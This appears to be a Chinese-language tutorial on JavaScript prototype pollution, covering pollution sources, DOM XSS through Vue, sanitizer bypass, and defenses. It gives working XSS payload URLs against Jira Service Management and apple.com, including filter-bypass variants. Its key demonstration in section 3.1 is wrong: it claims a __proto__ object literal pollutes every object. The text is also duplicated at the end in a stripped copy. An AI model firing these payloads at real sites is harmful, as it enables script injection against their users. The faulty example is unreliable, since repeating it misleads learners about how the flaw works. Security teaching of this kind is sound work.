Prototype Pollution一次探索
字数 1376 2025-08-22 12:22:37

JavaScript原型链污染漏洞详解

1. 原型链污染概述

原型链污染(Prototype Pollution)是一种基于JavaScript语言的漏洞(Python也存在类似问题),攻击者通过控制JavaScript中意料之外的变量属性,可能导致:

  • 客户端层面:XSS漏洞
  • 服务端层面:RCE(远程代码执行)

该漏洞的产生主要源于JavaScript的语言特性,在变量名声明时没有进行严格处理,使得攻击者可以通过原型链控制变量属性。

2. JavaScript原型基础

2.1 原型概念

JavaScript是基于原型的面向对象语言(不同于传统的基于类的面向对象)。所有JavaScript对象都有一个__proto__属性(或prototype),指向该对象的原型,允许继承原型的属性和方法。

var my_ob = {a:1, b:2}  // 创建对象
my_ob.c = 3  // 添加属性
my_ob["c"] = 3  // 另一种添加方式

2.2 原型继承

所有JavaScript对象都继承自Object类:

// 在控制台创建字符串
var str = "hello js"
str.  // 会自动提示String对象的所有方法(length, charAt, split等)

这些方法之所以可用,是因为字符串对象通过原型链继承了String和Object的属性和方法。

3. 原型链污染原理

3.1 污染机制

通过修改对象的__proto__属性,可以影响所有继承自该原型的对象:

// 创建两个对象
var obj1 = {}
var obj2 = {__proto__: {x: "看看情况?"}}

console.log(obj1.x)  // 输出"看看情况?"
console.log(Object.x)  // 输出"看看情况?"

这是因为obj1找不到x属性时,会沿着原型链向上查找,最终找到obj2__proto__中定义的x属性。

3.2 污染源

常见的三种污染方式:

  1. merge(合并)操作
  2. clone(克隆)操作
  3. 直接值设置

3.2.1 merge操作

function merge(target, source) {
    for (var key in source) {
        target[key] = source[key];
    }
    return target;
}

var target = {a: 1};
var source = {a: 3, d: 2};
var result = merge(target, source);  // {a: 3, d: 2}

不安全的JSON解析合并:

function merge(target, source) {
    var output = JSON.parse(target);
    for (var key in source) {
        output[key] = source[key];
    }
    return output;
}

3.2.2 clone操作

function merge(target, source) {
    for (var key in source) {
        target[key] = source[key];
    }
    return target;
}

function clone(ob) {
    return merge({}, ob);
}

var jsonInput = JSON.parse('{"a": 1, "b": {"c": "2"}}');
var cloneOb = clone(jsonInput);

3.2.3 直接值设置

function setValue(object, property, value) {
    object[property] = value;
}

var test = JSON.parse('{"a": 1, "b": 2}');
setValue(test, "a", 3);

如果攻击者能控制property参数为__proto__,就能污染全局原型。

4. 污染利用场景

4.1 客户端污染检测

  1. 使用XSS常见源(URL参数或hash)设置__proto__有效载荷:

    https://example.com/?__proto__[polluted]=Polluted
    https://example.com/#__proto__[polluted]=Polluted
    https://example.com/?__proto__.polluted=Polluted
    
  2. 在控制台检查污染是否成功:

    Object.prototype.polluted
    
  3. 使用不同源重放测试:

    https://example.com?firstParam=__prototype__&secondParam=polluted&thirdParam=Polluted
    https://example.com?param->__proto__->polluted=Polluted
    

4.2 污染链利用

常见JavaScript模式:

var myOb = myOb || {}  // 设置默认值

如果通过原型污染设置了myOb,就能控制后续代码中的变量。

4.3 DOM XSS利用

以Vue.js为例:

<!DOCTYPE html>
<html>
<head>
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <p>{{ message }}</p>
    </div>
    <script>
        var app = new Vue({
            el: '#app',
            data: {
                message: 'Hello World!'
            }
        })
    </script>

通过污染template属性可以导致XSS:

Object.prototype.template = ''

4.4 客户端XSS过滤器绕过

配置示例:

gConfig.ALLOWED_TAGS = ['a', 'img', 'b', 'i', 'u', 'em', 'strong', 'br']
ALLOWED_TAGS = userConfig.ALLOWED_TAGS || gConfig.ALLOWED_TAGS

通过污染userConfig.ALLOWED_TAGS可以添加恶意标签。

5. 实际漏洞案例

5.1 Jira Service Management漏洞

影响版本:4.16.0和4.18.0

Payload:

https://jira.example.com/servicedesk/customer/user/signup?__proto__.id=xxx&__proto__.id=xxx&__proto__.isFresh=xxx&__proto__.onmousemove=alert(1)//&__proto__.onmousemove=1

绕过修复的payload(利用[]替换):

https://server:8080/servicedesk/customer/user/signup?__pro[]to__.div=1&__pro[]to__.div=&__pro[]to__.div=1

5.2 Apple官网XSS

通过canJS-deparam库的漏洞:

Payload:

https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)

绕过方式:

https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)

6. 防御措施

  1. 避免使用不安全的merge/clone操作
  2. 对用户输入的属性名进行严格过滤,特别是__proto__constructorprototype
  3. 使用Object.create(null)创建无原型的对象
  4. 冻结原型对象:Object.freeze(Object.prototype)
  5. 使用Map代替Object存储键值对

7. 工具与资源

  1. 检测工具:

    • DOM Invader
    • PPScan
  2. 资源库:

  3. 参考文章:

    • [CTF中的原型链污染案例大全]
    • [PortSwigger关于原型污染的文章]
JavaScript原型链污染漏洞详解 1. 原型链污染概述 原型链污染(Prototype Pollution)是一种基于JavaScript语言的漏洞(Python也存在类似问题),攻击者通过控制JavaScript中意料之外的变量属性,可能导致: 客户端层面:XSS漏洞 服务端层面:RCE(远程代码执行) 该漏洞的产生主要源于JavaScript的语言特性,在变量名声明时没有进行严格处理,使得攻击者可以通过原型链控制变量属性。 2. JavaScript原型基础 2.1 原型概念 JavaScript是基于原型的面向对象语言(不同于传统的基于类的面向对象)。所有JavaScript对象都有一个 __proto__ 属性(或prototype),指向该对象的原型,允许继承原型的属性和方法。 2.2 原型继承 所有JavaScript对象都继承自Object类: 这些方法之所以可用,是因为字符串对象通过原型链继承了String和Object的属性和方法。 3. 原型链污染原理 3.1 污染机制 通过修改对象的 __proto__ 属性,可以影响所有继承自该原型的对象: 这是因为 obj1 找不到 x 属性时,会沿着原型链向上查找,最终找到 obj2 的 __proto__ 中定义的 x 属性。 3.2 污染源 常见的三种污染方式: merge(合并)操作 clone(克隆)操作 直接值设置 3.2.1 merge操作 不安全的JSON解析合并: 3.2.2 clone操作 3.2.3 直接值设置 如果攻击者能控制property参数为 __proto__ ,就能污染全局原型。 4. 污染利用场景 4.1 客户端污染检测 使用XSS常见源(URL参数或hash)设置 __proto__ 有效载荷: 在控制台检查污染是否成功: 使用不同源重放测试: 4.2 污染链利用 常见JavaScript模式: 如果通过原型污染设置了 myOb ,就能控制后续代码中的变量。 4.3 DOM XSS利用 以Vue.js为例: 通过污染 template 属性可以导致XSS: 4.4 客户端XSS过滤器绕过 配置示例: 通过污染 userConfig.ALLOWED_TAGS 可以添加恶意标签。 5. 实际漏洞案例 5.1 Jira Service Management漏洞 影响版本:4.16.0和4.18.0 Payload: 绕过修复的payload(利用 [] 替换): 5.2 Apple官网XSS 通过canJS-deparam库的漏洞: Payload: 绕过方式: 6. 防御措施 避免使用不安全的merge/clone操作 对用户输入的属性名进行严格过滤,特别是 __proto__ 、 constructor 和 prototype 使用 Object.create(null) 创建无原型的对象 冻结原型对象: Object.freeze(Object.prototype) 使用Map代替Object存储键值对 7. 工具与资源 检测工具: DOM Invader PPScan 资源库: 客户端原型污染工具库 参考文章: [ CTF中的原型链污染案例大全 ] [ PortSwigger关于原型污染的文章 ]